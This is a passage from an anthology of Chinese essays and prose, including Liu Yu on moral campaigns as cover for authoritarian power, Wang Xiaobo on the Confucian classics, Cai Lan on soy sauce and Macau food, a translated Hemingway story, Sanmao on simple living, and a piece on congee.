　　可惜台北的旧书业也和香港一样，自从牯岭街的老店迁去光华商场之后，就盛况不再，甚至一蹶不振了。照傅月庵的说法，这似乎也是大陆迁台那一代人之后源头干枯的结果。今天年轻一代的文艺青年，你要是说起牯岭街，他顶多只能联想到少年杀人事件吧。真是奇怪，香港读书风气再弱，也总有人买书呀，台湾的情况应该更好才是，可旧书都哪里去了呢？莫非我们都要学谢其章，住到北京，才能在潘家园和琉璃厂找到东西？

权力的道德捆绑

刘瑜

　　我以前在街边的水果摊买樱桃、葡萄之类的水果时，总想挑出其中最新鲜好看的，但是常常受到摊主的阻挠：“不许挑！不许挑！”也是，如果我把好的都挑走了，坏的他怎么卖呢？其实岂止卖葡萄樱桃，卖企业也是一样：几年前中国产权改革如日中天的时候，为了甩掉一些不良企业，据说一些地方政府采取的办法是：哪个投资者要想买好资产，就得接受与之“搭售”的差资产。可见无论是卖葡萄还是卖企业，好坏搭配是推销之道。

　　后来我慢慢意识到，很多集权政府的治国之道也是如此，甚至可以说，很多集权政府的成功秘诀正在于此：为了推销强权的苦咖啡，得搭售道德的白砂糖，咖啡加糖，专制也就打开了销路。其实道理很简单，要说服民众放弃权利、财产、自由是很难的，甚至是不可能的，但是如果能让民众在打倒假丑恶的过程中“不知不觉”地放弃其权利和自由，那么民众对集权政府俯首帖耳就水到渠成了。

　　最典型的例子莫过于朱元璋，其治国之策可以说是政治酷寒和道德狂热的成功会合。一方面，其治下不但有锦衣卫这种秘密警察制度，明初的里甲制度也比任何时代更严密，志在把全民都变成秘密警察，“如鸟之在笼，兽之在柙，虽欲放逸，有不可得”。朱元璋不但利用胡惟庸案、蓝玉案等清洗成千上万潜在的政治威胁，而且还用强制民众迁徙的方式开发地广人稀之地，用强制子承父业的方式干预民众的从业自由。其暴虐到什么程度呢？据说某个街头老妇没有尊称其为皇上，而称之“老头”，朱元璋一怒之下，不但杀掉老妇，而且顺便干掉了老妇所在街区的所有其他人。

　　但是另一方面，这位“老头”又对道德纯洁性有着孜孜不倦的追求。他不喜酒肉，不荒淫无度，别的皇帝用金制物品，他要求以黄铜代之，“朕本农夫，深知民间疾苦”。对贪官他疾恶如仇，“官吏宿娼，罪亚杀人一等”，贪污六十两银子，就剥皮实草。他对地方官员的“截访”行为也深恶痛绝，认为应当给民众伸冤开绝对的绿灯，有个地方官员试图截访，被他发现后，阉之为奴。他还要求各乡各里建申明亭作为思想品德教育的宣传站，提醒人们尊老爱幼长幼有序。

　　如果他是纯粹的暴君，民间可能早就揭竿而起了。但是朱元璋同时又是这样一个道德清教徒，很多人喝着咖啡加糖就给喝晕了：“杀贪官？好！”于是在迎接道德特洛伊木马的过程中，不知不觉也迎接了“木马”腹中的极权统治。

　　在极“左”年代，如何动员亿万群众加入残酷的政治斗争？很大程度上还是要靠权力和道德的“打包”。要让民众接受“错抄一句语录就会被打成现行反革命、收听外国广播就要挨批斗”的制度安排，当然很难，但是假如接受这一安排的“收益”是可以批斗那些以前颐指气使的、享受特权的“土豪劣绅”或者“修正主义走资派”，“出一口恶气”，也许这个交易还算划算？所以革命期间每次政治清洗运动，往往都伴随着党内整风运动，前者目的是修理“地富反坏右”，而后者则是“让党员干部在群众批斗中过关”。一口咖啡一勺糖，革命群众在打倒土豪劣绅、打倒张子善刘青山、打倒官僚主义的道德欢呼声中逐渐拱手交出自由和权利。

　　权力和道德捆绑也不是中国的特产。比如今天的某些政教合一的国家，女人穿衣服不能有伤风化，同性恋被抓住甚至可能被绞死，好莱坞电影一概取缔——谁让它充满了色情和暴力？这种对道德纯洁性的追求在某些宗教激进主义者中深得人心，而这些激进主义者刚好构成政教合一政权的统治基础。

　　早在中世纪，马基雅维利就在《君主论》中指出，一个成功的统治者要同时具有狮子的凶猛和狐狸的狡诈，要在被惧怕的同时被爱戴。当然，道德和权力的共生性未必只是统治策略：一些专制者很可能“真心”地追求道德纯洁性，而这种追求恰恰与人类对纯洁性的迷恋契合。纯洁性固然美好，但是它对世界丰富性和复杂性的敌视，它天然的非黑即白世界观，本身就为专制提供了最好的精神土壤。因为深知道德说辞如何在历史上给权力如虎添翼，所以我虽然敬重一切洁身自好的个体，但是对一切来自当权者的整风、反低俗文化、打黑运动都心存疑虑，此类口号一出，总想要打开特洛伊木马的肚子，看看里面到底有没有什么猫腻。

写给残酷社会的善意短信

蔡康永

　　15 岁觉得游泳难，放弃游泳，到 18 岁遇到一个你喜欢的人约你去游泳，你只好说“我不会啊”。18 岁觉得英文难，放弃英文，28 岁出现一个很棒但要会英文的工作，你只好说“我不会啊”。人生前期越嫌麻烦，越懒得学，后来就越可能错过让你动心的人和事，错过新风景。

　　遇到比你有钱的人，请不要自动地卑躬屈膝，除非他愿意把他的钱给你。而通常有钱人并不会把钱送给随便就对他们卑躬屈膝的人，所以，何必呢 ?

　　很多杰出的人，很早就停止上学了 （自己选择，或想上但没得上），但这些人可没停止学习，他们去更广阔的社会学校，向更厉害的人学习了。你若有这种胆识，也尽可如此。但请不要误以为这些人是因为早早停止上学而变杰出的，这就好像以为拿破仑是因为个子矮才杰出一样。

　　我常常被问：“人生有什么意义？”我大都这样回答：“人生有滋味，意义就无所谓了吧。”酸甜苦辣，都是人生的滋味，尝一尝，挣扎一番，挺有意思的。也许有人反问：“如果我的人生全无滋味呢？”如果全无滋味，“意义”应该也补救不了什么了吧？

我看国学

王小波

　　我现在四十多岁了，师长还健在，所以依然是晚生。当年读研究生时，老师对我说，你国学底子不行，我就发了一回愤，从《四书》到二程、朱子乱看了一通。我读书是从小说读起，然后读四书；做人是从知青做起，然后做学生。这样的次序想来是有问题。虽然如此，看古书时还是有一些古怪的感慨，值得敝帚自珍。读完了《论语》闭目细思，觉得孔子经常一本正经地说些大实话，是个挺可爱的老天真。自己那几个学生老挂在嘴上，说这个能干啥，那个能干啥，像老太太数落孙子一样，很亲切。老先生有时候也鬼头鬼脑，那就是“子见南子”那一回。出来以后就大呼小叫，一口咬定自己没“犯色”。总的来说，我喜欢他，要是生在春秋，一定上他那里念书，因为那儿有一种“匹克威克俱乐部”的气氛。至于他的见解，也就一般，没有什么特别让人佩服的地方。至于他特别强调的礼，我以为和“文化革命”里搞的那些仪式差不多，什么早请示晚汇报，我都经历过，没什么大意思。对于幼稚的人也许必不可少，但对有文化的成年人就是一种负担。不过，我上孔老夫子的学，就是奔那种气氛而去，不想在那里长什么学问。

　　《孟子》我也看过了，觉得孟子甚偏执，表面上体面，其实心底有股邪火。比方说，他提到墨子、杨朱，“无君无父，是禽兽也”，如此立论，已然不是一个绅士的作为。至于他的思想，我一点都不赞成。有论家说他思维缜密，我的看法恰恰相反。他基本的方法是推己及人，有时候及不了人，就说人家是禽兽、小人；这股凶巴巴恶狠狠的劲头实在不讨人喜欢。至于说到修辞，我承认他是一把好手，别的方面就没什么。我一点都不喜欢他，如果生在春秋，见了面也不和他握手。我就这么读过了孔、孟，用我老师的话来说，就如“春风过驴耳”。我的这些感慨也只是招得老师生气，所以我是晚生。

　　假如有人说，我如此立论，是崇洋媚外，缺少民族感情，这是我不能承认的。但我承认自己很佩服法拉第，因为给我两个线圈一根铁棍子，让我去发现电磁感应，我是发现不出来的。牛顿、莱布尼兹，特别是爱因斯坦，你都不能不佩服，因为人家想出的东西完全在你的能力之外。这些人有一种惊世骇俗的思索能力，为孔孟所无。按照现代的标准，孔孟所言的“仁义”啦，“中庸”啦，虽然是些好话，但似乎都用不着特殊的思维能力就能想出来，琢磨得过了分，还有点肉麻。这方面有一个例子：记不清二程里哪一程，有一次盯着刚出壳的鸭雏使劲看。别人问他看什么，他说，看到毛茸茸的鸭雏，才体会到圣人所说“仁”的真意。这个想法里有让人感动的地方，不过仔细一体会，也没什么了不起的东西在内。毛茸茸的鸭子虽然好看，但再怎么看也是只鸭子。再说，圣人提出了“仁”，还得让后人看鸭子才能明白，起码是辞不达意。我虽然这样想，但不缺少民族感情。因为我虽然不佩服孔孟，但佩服古代中国的劳动人民。劳动人民发明了做豆腐，这是我想象不出来的。

　　我还看过朱熹的书，因为本科是学理工的，对他“格物”的论述看得特别的仔细。朱子用阴阳五行就可以格尽天下万物，虽然阴阳五行包罗万象，是民族的宝贵遗产，我还是以为多少有点失之于简单。举例来说，朱子说，往井底下一看，就能看到一团森森的白气。他老人家解释是，阴中有阳，阳中有阴（此乃太极图之象），井底至阴之地，有一团阳气，也属正常。我相信，你往井里一看，不光能看到一团白气，还能看到一个人头，那就是你本人（我对这一点很有把握，认为不必做实验了）。不知为什么，这一点他没有提到。可能观察得不仔细，也可能是视而不见，对学者来说，这是不可原谅的。还有可能是井太深，但我不相信宋朝就没有浅一点的井。用阴阳学说来解释这个现象不大可能，也许一定要用到几何光学。虽然要求朱子一下推出整个光学体系是不应该的，那东西太过复杂，往那个方向跨一步也好。但他根本就不肯跨。假如说，朱子是哲学家、伦理学家，不能用自然科学家的标准来要求，我倒是同意的。可怪的是，咱们国家几千年的文明史，就是出不了自然科学家。

　　现在可以说，孔孟程朱我都读过了。虽然没有很钻进去，但我也怕钻进去就爬不出来。如果说，这就是中华文化遗产的主要部分，那我就要说，这点东西太少了，拢共就是人际关系里那么一点事，再加上后来的阴阳五行。这么多读书人研究了两千年，实在太过分。我们知道，旧时的读书人都能把四书五经背得烂熟，随便点出两个字就能知道它在书中什么地方。这种钻研精神虽然可佩，这种做法却十足是神经病。显然，会背诵爱因斯坦原著，成不了物理学家；因为真正的学问不在字句上，而在于思想。就算文科有点特殊性，需要背诵，也到不了这个程度。因为“文革”里我也背过毛主席语录，所以以为，这个调调我也懂——说是诵经念咒，并不过分。

　　二战期间，有一位美国将军深入敌后，不幸被敌人堵在了地窖里，敌人在头上翻箱倒柜，他的一位随行人员却咳嗽起来。将军给了随从一块口香糖让他嚼，以此来压制咳嗽。但是该随从嚼了一会儿，又伸手来要，理由是：这一块太没味道。将军说：没味道不奇怪，我给你之前已经嚼了两个钟头了！我举这个例子是要说明，四书五经再好，也不能几千年地念；正如口香糖再好吃，也不能换着人地嚼。当然，我没有这样地念过四书，不知道其中的好处。有人说，现代的科学、文化，林林总总，尽在儒家的典籍之中，只要你认真钻研。这我倒是相信的，我还相信那块口香糖再嚼下去，还能嚼出牛肉干的味道，只要你不断地嚼。我个人认为，我们民族最重大的文化传统，不是孔孟程朱，而是这种钻研精神。过去钻研四书五经，现在钻研《红楼梦》。我承认，我们晚生一辈在这方面差得很远，但也未尝不是一件好事。四书也好，《红楼梦》也罢，本来只是几本书，却硬要把整个大千世界都塞在其中。我相信世界不会因此得益，而是因此受害。

　　任何一门学问，即便内容有限而且已经不值得钻研，但你把它钻得极深极透，就可以挟之以自重，换言之，让大家都佩服你；此后假如再有一人想挟这门学问以自重，就必须钻得更深更透。此种学问被无数的人这样钻过，会成个什么样子，实在难以想象。那些钻进去的人会成个什么样子，更是难以想象。古宅闹鬼，树老成精，一门学问最后可能变成一种妖怪。就说国学吧，有人说它无所不包，到今天还能拯救世界，虽然我很乐意相信，但还是将信将疑。

无酱不欢

蔡澜

　　在餐厅吃东西时，女侍者为我在小碟中倒酱油，我一定会向她说：“多倒一点儿，我吃得又咸又湿。”对方一定笑了。

　　的确，我吃得很咸，嫌一般菜不够味，必点酱油不可。我的“无酱不欢”指的酱，不是花生酱或 XO 酱，而是原原始始的酱油的酱，非常咸。其中也包括了同样是提供了咸味的鱼露，北方人则叫为虾油。

　　为了证明我的确爱上酱油，你可以到我厨房看看，一打开柜子，其中至少有数十瓶不同的酱油和鱼露，令人叹为观止。书架上，还有数本《如何制造酱油》的书，有朝一日，移民到充满阳光和橙的加州，就自己做起酱油来。

　　我一向认为做什么菜用什么酱油，不能苟且。海外开中国餐厅，广东菜用广东酱油，北方菜用北方酱油，一定经由厨子的故乡运到，一用不同的，马上变成不像样了。而且，酱油并非贵货，老远运来也不花几个钱，这也能代表做菜的认真，不可缺少。

　　我家的酱油，最常用的是新加坡产的“大华”酱油，当地人叫“生抽”为“酱青”，“老抽”为“豆油”，我在新加坡出生，做起家乡菜，我得用那边的酱油了。

　　另一种爱用的是日本酱油，我在那里生活了八年，多少受影响。从“万”字牌最普通的酱油用起，到点鱼生吃的“溜”酱油，至少有数十瓶。“溜（Tamari）”是壶底酱油的意思，味道带点点甜，用来点鱼生。而我做中国菜有时也用日本酱油，主要是日本酱油经过火煮，也不变酸，做红烧肉最为适合。

　　来了香港，当然蘸香港酱油了，“九龙酱园”的产品，我经常有五六瓶备用。广东人才分“生抽”和“老抽”的，其他地方人根本听不懂，只知一种是浓一种是淡，讲起第一次由豆浆中挤出来的“头抽”，他们听了更摸不着头脑。

　　当然有很多其他牌子，但是“九龙酱园”是可以代表香港的，它的老抽非常之香浓，而且带有甜味，比日本人的“溜”好得多。至于生抽，也很有水平。

　　香港的食材，有九成以上靠内地运来，酱油也不例外。来到香港，第一次接触到的内地酱油，就是“草菰酱油”了，它是属于又黑又浓的老抽品种，有没有加草菰可吃不出。带甜，糖是一定下了，我也爱用至今。

　　我吃的酱油并不一定是一味死咸。带甜的，不管是天然由豆中产生，或者加糖，我都不介意，全喜欢。

　　甜这个字，广东人有时作“甘”，这个甘并非一味指甜，像吃苦瓜时吃出的美味，也叫“甘”。名副其实地甘的酱油，我也爱吃。台湾“民生食品工厂”制造的“壶底”酱油，是我餐桌上必备的其中一种，它下了甘草，所以有甘味，一瓶小小地，像 Tabasco（一种辣酱油）那么大，卖得相当贵。有次我自己用甘草和普通生抽来炮制，也有同一效果，不过酱油能吃多少呢？贵就贵吧，到台湾旅行时就入货，没有断过。最近这公司又出产了一种叫“炭道”的系列，说是用青仁黑豆，经长时间储荫，以特殊酿造方法，取壶底油浓缩之纯正壶底油精云云。说了老半天，还是在酱油中加了甘草和糖罢了。

　　餐桌上另一小瓶，是越南的鱼露，双鱼牌（HanhPhuc），有六十巴仙的浓厚，倒出来黐黏黏地，像糖浆，味道十分强烈，不是一般人受得了的。如果你嫌太腥，那么买泰国的鱼露好了，我也时常用，要认明是“蓝象（BlueElephant）”牌才好。

　　香港的鱼露厂已快绝灭了吧？从前有好几种水平都很高，当今找不到了，仅存的有“厨师牌”鱼露，由李成兴鱼露罐头厂制造，味道属于泰国式的淡，不是越南式的浓。至于内地潮汕出产的鱼露，担心质量控制得不佳，就没随便去乱买了。

　　做东南亚菜时，当然用当地酱油，像印度尼西亚炒面，就得去买他们的 ABC 牌子，叫为 KecapManis，是种甜酱油。印度尼西亚人最初不会分辨甜酱油和西红柿酱，所以名字上用了茄酱的同音字。印度尼西亚炒面少了它，就没有印度尼西亚味，不好吃了。因为它又甜又浓，价钱又便宜，许多卖海南鸡饭的铺子，都用印度尼西亚酱油来代替新加坡酱油。

　　其实鸡饭酱油是海南人做得最正宗，他们有秘方，不公布。我的海南酱油是新加坡“逸群鸡饭”的老板送的。我们互相欣赏，因为我喜欢，他就给了我一个油桶那么多的酱油，吃到现在还用不完，真谢谢他。

　　酱油实在是一个非常有文化的国家的产品，非原始的盐可比。任何难吃的东西，有一点上等的酱油，都变成佳肴。但是，遇到巧手的主妇，根本不用点酱油，像妈妈这一类的人物做的，咸淡适中，酱油都失去了作用，不过当今能尝到不点酱油的菜，少之又少；所以，厨房中还摆着那么多瓶的酱油。

澳门餐

蔡澜

　　我们到澳门去拍电视饮食节目，一共两集，监制问我：“那么多菜，要怎么分法？”“澳门有了外资赌场后，变化极大。不如这样吧，第一集拍所有豪华奢侈的，第二集回归平淡，是从前的澳门留给我的印象。”监制没有意见，随我胡来，但为我安排好一切，这个节目少了她，就没拍得那么顺利。

　　老友周忠师傅给米高梅请去，在新酒店中创办了“金殿堂”餐厅，非捧场不可。他为我们准备了五个菜，埋单盛惠一万三千。

　　“万寿果”是周忠独创名菜，出现在三十多年前的凯悦酒店中餐厅，万寿果就是木瓜，构想出自冬瓜盅，他将之改为夏威夷木瓜，里面炖的材料和冬瓜盅一样，不过已变成一人一份。最初功夫多，卖不起价钱，我建议加上海胆，他照做，结果大受外国客人欢迎，因为他们都不惯和别人分来吃。从此香港卷起一阵热潮，中菜成为可以一人份一人份像西餐那么上，我并不赞同这种吃法，但外国友人喜欢，我也没话说。当今这道菜，名字是“云丹海虎翅万寿果”，加入粗大的翅、海胆、松茸等，都是贵货。

　　“吊烧鹅肝金钱鸡”依古法炮制，本来的金钱鸡是一片鸡肝、一片叉烧夹着一片肥猪肉，豪华版不用肥猪肉了，有钱人都怕胖嘛，就改了一片法国鹅肝和一片鲍鱼菇，叉烧则照旧。

　　“黑松露油泡龙脷球”的主角当然是龙脷，起了肉，将鱼骨整片炸脆来伴碟，龙脷和黑松露一起炒完上碟，其实骨头比肉更好吃。“乌鱼子露笋炒龙虾球”的龙虾也是全只上，但只剩下壳当装饰，肉则和台湾的乌鱼子夹着吃。“葱爆鸡枞菌和牛”顾名思义，是用日本牛肉来炒四川的鸡枞菌。

　　最后的“官燕珊瑚柴把菇”，主角是中间的那团燕窝，上面加点鱼子酱。珍贵的反而是配角的“柴把菇”，将蔬菜削成长条，再用瓢丝捆绑，像捆着木柴一样，这是古老菜之一，已没人那么有空去做了。

　　接着拍摄的喂了三十六个月橡木果的黑蜗牛吧，鱼子酱吧，香槟吧等等，又有意大利白松露宴。早餐是在我们的套房厅中吃，把整套龙虾火腿都搬了出来，还有鲍鱼，豪华之极。最后当然没有忘记澳门最早的高级法国餐厅“Robuchon”，它仍旧保持那么高的水平。

　　来澳门拍摄，不去大三巴好像说不过去，但我向监制 Markar 说：“这太过单调了，不如请澳门小姐一齐参加。”女主持苏玉华、Amanda S 和黄宇诗都赞成。“人多了才好玩。”她们说。

　　主办了那么多届，今年的才算正式，来了冠军的吕蓉茵、季军的伍家怡和友谊小姐陈小玉。吕蓉茵一直有加入旅游业的志向，她为人亲切和蔼，是干这一行的料。季军伍家怡在竞选时排“七”号，和名字最巧合了。“伍”字和“五”发音一样，中间的“家”字和“加”相同，最后的“怡”字，广东话念成“二”。五加二，刚好是七。友谊小姐陈小玉是舞蹈演员出身，跳得一手非常好的中国古典舞。

　　“想带我们去哪一家餐厅吃东西？”她们问。我说：“有没有去过澳门退休人士协会，吃土生澳门菜？”大家都摇头。

　　一般人以为澳门菜就是葡萄牙菜，其实大有分别。澳门菜是吸收了葡萄牙菜的做法，加上中国人的口味变化出来。像葡萄牙最著名的烤乳猪，澳门的不只是烧烤那么简单，是在乳猪下面加了饭，饭是用乳猪肉碎和蔬菜加白饭炒个半生熟，再把乳猪放在上面焗出来。乳猪滴下来的油混入饭中，那种美妙的滋味是其他饭难找的，在烹调技巧上，不逊西班牙的海鲜饭（paella）。

　　乳猪饭上桌，大家吃得津津有味，三位香港的女主持没吃过，澳门小姐更说这是她们试过的最好一餐。再下来的是咸鱼、猪肉和虾酱一块炆出来的澳门菜，不必亲自试，单单听食材的配合，已知非常惹味。

　　大白烚就受葡萄牙菜影响极深，用猪皮、肉肠、血肠和大量椰菜煮出来。不同的是澳门做法没那么咸，菜汁可当汤喝，而肉类和蔬菜嫌淡时，就点虾酱吃。澳门人的虾酱是经过发酵的，源自非洲的葡萄牙殖民地，在开普敦有个马来村，也许是马来人把这种吃法带到马六甲，娘惹菜中也有虾酱咸鱼猪肉这道菜。

　　我们还吃了马介休球、烩牛面珠登、烩鸡饭、肉批、角仔、山椒牛肉、烧肠、咖喱毛茄虾和石凿，甜品有香橙蛋糕、无花果大菜糕和经典的米糠布甸。

　　地道的澳门食肆，还有“兆记”的粥，是用木柴慢火煮出来的，“六记”的锦卤云吞，“祥记”的虾子捞面，“杏香园”的椰汁雪糕红豆西米凉粉甜品，“细龜”的炒河，“李康记”的豆花，“六棉”的酿青椒等等，也没忘记我最爱去的营地街街市熟食档中的各种美味，和档主们都成了好友，像回到家里吃饭。

　　澳门一面已经繁华奢侈，另一面还是那么老旧，那么有人情味，虽说物价已经高涨，但我们去的地方最多贵个一两块钱。游客们赌完回去，澳门平民的日子，还是照样要过下去。这句话听起来甚是无奈，但澳门老百姓自得其乐，还是值得欢慰的。

简单的调查

海明威

　　屋外，雪堆漫过窗台。阳光透过窗子照射进来，照在小屋松木板墙壁的地图上。太阳高悬，光芒从雪堆顶上射进屋子。沿小屋一边的空旷处渗成了一道沟，天气放晴，太阳照在墙上，热气反射到雪上，那道沟便更宽了。现在已是三月底，少校坐在靠墙的一张桌子旁，他的副官坐在另一张桌子旁。

　　少校两只眼睛周围有圈白色的痕迹，那是雪镜留下的痕迹，这个部位被雪镜遮住，才没被雪地反射的阳光晒伤，而其他地方都被晒伤晒黑了，晒黑的地方重又被晒伤了。他的鼻子都肿了，长过水疱的地方露出蜕皮后的表皮。这会儿，他一边处理文件，一边伸出左手手指在油盏里蘸着油往脸上涂，指尖在脸上轻轻地摩挲。每次他都小心地把手指搁在油盏边上沥干，所以手指上只有薄薄一层油。涂过前额和两腮后，他又细致地用指缝在鼻子上摩挲。涂完油，他站起身来，拿着油盏，走进自己睡觉的小房间里去了。“我要睡会儿。”他对副官说道。在那支部队里，副官不是正式委任的军官。“你把事办完。”

　　“是，少校先生。”副官答道。他靠在椅背上打了个呵欠，从口袋里掏出一本平装书，打开来放在桌子上，点上烟斗。他趴在桌上，一边看书，一边抽烟。过了会儿，他把书合上，塞回口袋里。案头工作多得做不完，他要做完事才能看书。外面，太阳已经落山，屋子的墙壁上不再有光芒。一个士兵走进来，把砍得长短不一的松枝丢进壁炉里。“轻点儿，比宁。”副官对他说，“少校正在睡觉。”

　　比宁是少校的勤务兵，脸膛黝黑。他小心地把松柴塞进炉子，摆弄好，带上门，又走回屋子后面去了。副官继续忙他的公文。

　　“托纳尼！”少校叫道。

　　“少校先生？”

　　“叫比宁来见我。”

　　“比宁！”副官叫道。比宁走进屋子。“少校找你。”副官告诉他。

　　比宁穿过小屋主厅，朝少校门口走去。他在半掩着的门上敲了敲。“少校先生？”

　　“进来！”副官听见少校说，“带上门。”

　　房间里面，少校正躺在床铺上，比宁站在床铺边。少校枕着塞满换洗衣服的帆布包权当枕头，他两只手放在毯子上，扭过那张晒伤了的、油光满面的长脸向比宁看过来。

　　“你今年十九了？”他问。

　　“是的，少校先生。”

　　“有没有恋爱过？”

　　“您这话什么意思，少校先生？”

　　“跟女孩儿恋爱？”

　　“我跟几个女孩儿都谈过恋爱。”

　　“我问的不是这个。我是问，你有没有爱过哪个女孩儿？”

　　“有的，少校先生。”

　　“你现在还爱那个女孩儿吗？你都没给她写过信。你的信我全都看过。”

　　“我爱她。”比宁说，“只是没给她写信而已。”

　　“你肯定？”

　　“我肯定。”

　　“托纳尼，”少校没升高声调，“你听得见我说话吗？”

　　没人答腔。

　　“他听不见。”少校说，“你十分肯定自己爱女孩儿。”

　　“我肯定。”

　　“那，”少校迅速瞟了他一眼，“你没堕落？”

　　“我不懂您的意思，什么堕落？”

　　“好吧。”少校说。“你不用那么傲。”

　　比宁垂头盯着地板。少校上上下下打量着他那张晒黑的脸，又看看他那两只手。然后面无表情地说，“那你真的不想——”少校没再往下说。比宁盯着地板。“那你最大的心愿不是想要——”比宁盯着地板。少校又躺在帆布包上，笑了笑。他真正放心了：部队的生活太复杂了。“你是个好孩子。”他说。“你是个好孩子，比宁。可是别那么傲，小心别丢了小命。”

　　比宁一动不动地站在床铺旁。

　　“别害怕。”少校说道。他两手交叉，放在毯子上。“我不会碰你的。要是你愿意，也可以回自己团里去。不过我劝你最好留下来给我当勤务兵，没那么容易丧命。”

　　“您还有什么吩咐吗，少校先生？”

　　“没了。”少校说。“走吧，该干什么干什么去。出去的时候把门开着。”比宁走了出去，让门打开着。副官抬起眼来看他，他尴尬地穿过主厅，跨出门去。他脸涨得通红，跟刚才进来加柴的时候不一样了。副官目送他走出门去，笑了。比宁又抱了些柴禾丢进壁炉。少校躺在床铺上，望着挂在墙壁钉子上的那顶包着布的钢盔和那副雪镜，听到比宁从地板上走过的脚步声，心想，这小鬼，不知道他有没有对我撒谎。

简单

三毛

　　许多时候，我们早已不去回想，当每一个人来到地球上时，只是一个赤裸的婴儿，除了躯体和灵魂，上苍没有让人类带来什么身外之物。等到有一天，人去了，去的仍是来的样子，空空如也。这只是样子而已。事实上，死去的人，在世上总也留下了一些东西，有形的，无形的，充斥着这本来已是拥挤的空间。

　　曾几何时，我们不再是婴儿，那份记忆也遥远得如同前生。回首看一看，我们普普通通的活了半生，周围已引出了多少牵绊，伸手所及，又有多少带不去的东西成了生活的一部分，缺了它们，日子便不完整。

　　许多人说，身体形式都不重要，境由心造，一念之间可以一花一世界，一沙一天堂。

　　这是不错的，可是在我们那么复杂拥挤的环境里，你的心灵看见过花吗？只一朵，你看见过吗？我问你的，只是一朵简单的非洲菊，你看见过吗？我甚而不问你玫瑰。

　　不了，我们不再谈沙和花朵，简单的东西是最不易看见的，那么我们只看看复杂的吧！

　　唉，连这个，我也不想提笔写了。

　　在这样的时代里，人们崇拜神童，没有童年的儿童，才进得了那窄门。人类往往少年老成，青年迷茫，中年喜欢将别人的成就与自己相比较，因而觉得受挫，好不容易活到老年仍是一个没有成长的笨孩子。我们一直粗糙的活着，而人的一生，便也这样过去了。我们一生复杂，一生追求，总觉得幸福的遥不可企及。不知那朵花啊，那粒小小的沙子，便在你的窗台上。你那么无事忙，当然看不见了。对于复杂的生活，人们怨天怨地，却不肯简化。心为形役也是自然，哪一种形又使人的心被役得更自由呢？

　　我们不肯放弃，我们忙了自己，还去忙别人。过分的关心，便是多管闲事，当别人拒绝我们的时候，我们受了伤害，却不知这份没趣，实在是自找的。

　　对于这样的生活，我们往往找到一个美丽的代名词，叫做“深刻”。简单的人，社会也有一个形容词，说他们是笨的。一切单纯的东西，都成了不好的。

　　恰好我又远离了家国。到大西洋的海岛上来过一个笨人的日子，就如过去许多年的日子一样。

　　在这儿，没有大鱼大肉，没有争名夺利，没有过分的情，没有载不动的愁，没有口舌是非，更没有解不开的结。

　　也许有其他的笨人，比我笨得复杂的，会说：你是幸运的，不是每个人都有一片大西洋的岛屿。唉，你要来吗？你忘了自己窗台上的那朵花了。怎么老是看不见呢？

　　你不带花来，这儿仍是什么也没有的。你又何必来？你的花不在这里，你的窗，在你心里，不在大西洋啊！

　　一个生命，不止是有了太阳、空气、水便能安然的生存，那只是最基本的。求生的欲望其实单纯，可是我们是人类，是一种贪得无厌的生物，在解决了饥饿之后，我们要求进步，有了进步之后，要求更进步，有了物质的享受之后，又要求精神的提升，我们追求幸福、快乐、和谐、富有、健康，甚而永生。最初的人类如同地球上漫游野地的其他动物，在大自然的环境里辛苦挣扎，只求存活。而后因为自然现象的发展，使他们组成了部落，成立了家庭。多少万年之后，国与国之间划清了界限，民与民之间，忘了彼此都只不过是人类。

　　邻居和自己之间，筑起了高墙，我们居住在他人看不见的屋顶和墙内，才感到安全自在。

　　人又耐不住寂寞，不可能离群索居，于是我们需要社会，需要其他的人和物来建立自己的生命。我们不肯节制，不懂收敛，泛滥情感，复杂生活起居。到头来，“成功”只是“拥有”的代名词。我们变得沉重，因为担负得太多，不敢放下。

　　当婴儿离开母体时，象征着一个躯体的成熟。可是婴儿不知道，他因着脱离了温暖潮湿的子宫觉得惧怕，接着在哭。人与人的分离，是自然现象，可是我们不愿。

　　我们由人而来，便喜欢再回到人群里去。明知生是个体，死是个体，但是我们不肯探索自己本身的价值，我们过分看重他人在自己生命里的参与。于是，孤独不再美好，失去了他人，我们惶惑不安。

　　其实，这也是自然。于是，人类顺其自然的受捆绑，衣食住行永无宁日的复杂，人际关系日复一日的纠缠，头脑越变越大，四肢越来越退化，健康丧失，心灵蒙尘。快乐，只是国王的新衣，只有聪明的人才看得见。童话里，不是每个人都看见了那件新衣，只除了一个说真话的小孩子。我们不再怀念稻米单纯的丰美，也不认识蔬菜的清香。我们不知四肢是用来活动的，也不明白，穿衣服只是使我们免于受冻。灵魂，在这一切的拘束下，不再明净。感官，退化到只有五种。如果有一个人，能够感应到其他的人已经麻木的自然现象，其他的人不但不信，而且好笑。

　　每一个人都说，在这个时代里，我们不再自然。每一个人又说，我们要求的只是那一点心灵的舒服，对于生命，要求的并不高。这是，我们同时想摘星。我们不肯舍下那么重的负担，那么多柔软又坚韧的纲，却抱怨人生的劳苦愁烦。不知自己便是住在一颗星球上，为何看不见它的光芒呢？

　　这里，对于一个简单的笨人，是合适的。对不简单的笨人，就不好了。我只是返璞归真，感到的，也只是早晨醒来时没有那么深的计算和迷茫。我不吃油腻的东西，我不过饱，这使我的身体清洁。我不做不可及的梦，这使我的睡眠安恬。我不穿高跟鞋折磨我的脚，这使我的步子更加悠闲安稳。我不跟潮流走，这使我的衣服永远长新，我不耻于活动四肢，这使我健康敏捷。

　　我避开无事时过分热络的友谊，这使我少些负担和承诺。我不多说无谓的闲言，这使我觉得清畅。我尽可能不去缅怀往事，因为来时的路不可能回头。我当心的去爱别人，因为比较不会泛滥。我爱哭的时候便哭，想笑的时候便笑，只要这一切出于自然。我不求深刻，只求简单。

文人与粥

张远桃

　　粥和饭，从本质讲，并无不同，只是水放得多寡而已。

　　清代的袁枚在《随园食谱》里作了一个权威的论定：“见水不见米，非粥也；见米不见水，非粥也。必使水米融洽，柔腻如一，而后谓之粥。尹文端公曰：‘宁人等粥，毋粥等人。’此真名言，防停顿而味变汤干故也。”

　　食粥一事，中国旧时文人笔下时常涉及的。宋代费衮《梁溪漫志》里，有一篇《张文潜粥记》，讲得最透彻了。“张安道每晨起，食粥一大碗，空腹胃虚，谷气便作，所补不细。又极柔腻，与脏腑相得，最为饮食之良。妙齐和尚说，山中僧将旦，一粥甚系利害，如或不食，则终日觉脏腑燥渴。盖能畅胃气，生津液也。今劝人每日食粥，以为养生之要，必大笑。大抵养性命，求安乐，亦无深远难知之事，正在寝食之间耳。”

